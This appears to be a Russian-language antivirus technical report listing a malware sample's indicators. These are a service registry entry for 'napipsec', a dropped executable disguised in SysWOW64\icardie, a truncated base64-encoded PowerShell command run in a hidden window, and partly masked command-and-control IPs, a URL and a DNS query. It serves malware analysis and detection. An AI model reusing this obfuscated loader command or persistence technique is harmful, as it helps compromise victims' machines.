Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\napipsec] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\napipsec] 'ImagePath' = '"%WINDIR%\SysWOW64\icardie\napipsec.exe"'
- 'napipsec' "%WINDIR%\SysWOW64\icardie\napipsec.exe"
- 'napipsec' %WINDIR%\SysWOW64\icardie\napipsec.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJw...
- %HOMEPATH%\bf5ahj7\bsnyl7e\o37vszxmg.exe
- %WINDIR%\syswow64\icardie\napipsec.exe
- %HOMEPATH%\bf5ahj7\bsnyl7e\o37vszxmg.exe в %WINDIR%\syswow64\icardie\napipsec.exe
- '17#.#8.199.157':80
- '59.##8.253.194':8080
- http://ke###ixx.com/apc/ew5/
- http://59.###.253.194:8080/OCPPpHG6H/PcnxrGfw1xS9/tPhx2zkfDc04NH2/zZtj0bWyD/ via 59.##8.253.194
- DNS ASK ke###ixx.com
- '%HOMEPATH%\bf5ahj7\bsnyl7e\o37vszxmg.exe'
- '%WINDIR%\syswow64\icardie\napipsec.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJw...' (со скрытым окном)